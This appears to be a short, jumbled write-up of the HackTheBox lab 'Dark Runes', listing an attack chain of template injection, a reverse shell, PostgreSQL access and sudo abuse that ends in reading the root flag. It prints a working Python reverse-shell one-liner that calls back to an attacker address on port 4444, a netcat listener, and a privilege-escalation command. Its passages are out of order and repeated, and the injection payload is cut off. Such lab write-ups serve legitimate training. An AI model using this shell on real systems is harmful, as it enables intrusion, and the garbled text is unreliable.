Htb Dark Runes [Premium]

Payload:

May your shell never drop, and your hashes always crack. 🔥

sudo /usr/local/bin/rune_decoder /var/runes/evil.rune Now read /root/root.txt directly. htb dark runes

attr('application') a % endwith % uid=33(www-data) gid=33(www-data) groups=33(www-data)

Root flag acquired. 🏴‍☠️ | Phase | Technique | |-------|------------| | Web | Base64 rune encoding, token reuse, SSTI (Jinja2) | | Shell | Python reverse shell, PostgreSQL access | | Priv Esc | Custom binary analysis, XOR encryption bypass, sudo abuse | 🧙 Final Rune Reading Dark Runes is a love letter to CTF players who enjoy creative encoding, sneaky template injection, and low-level binary trickery. It rewards patience and curiosity—traits of a true digital rune mage. Payload: May your shell never drop, and your

Dark Runes isn't just a box—it’s a story. You stumble upon an ancient, arcane web server that speaks in cryptic symbols. Your mission? Decode the runes, bypass forbidden gates, and summon the root flag. Every quest begins with a whisper. You scan the target:

✅ RCE achieved. Get a reverse shell:

# Listener nc -lvnp 4444 python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.XX",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);'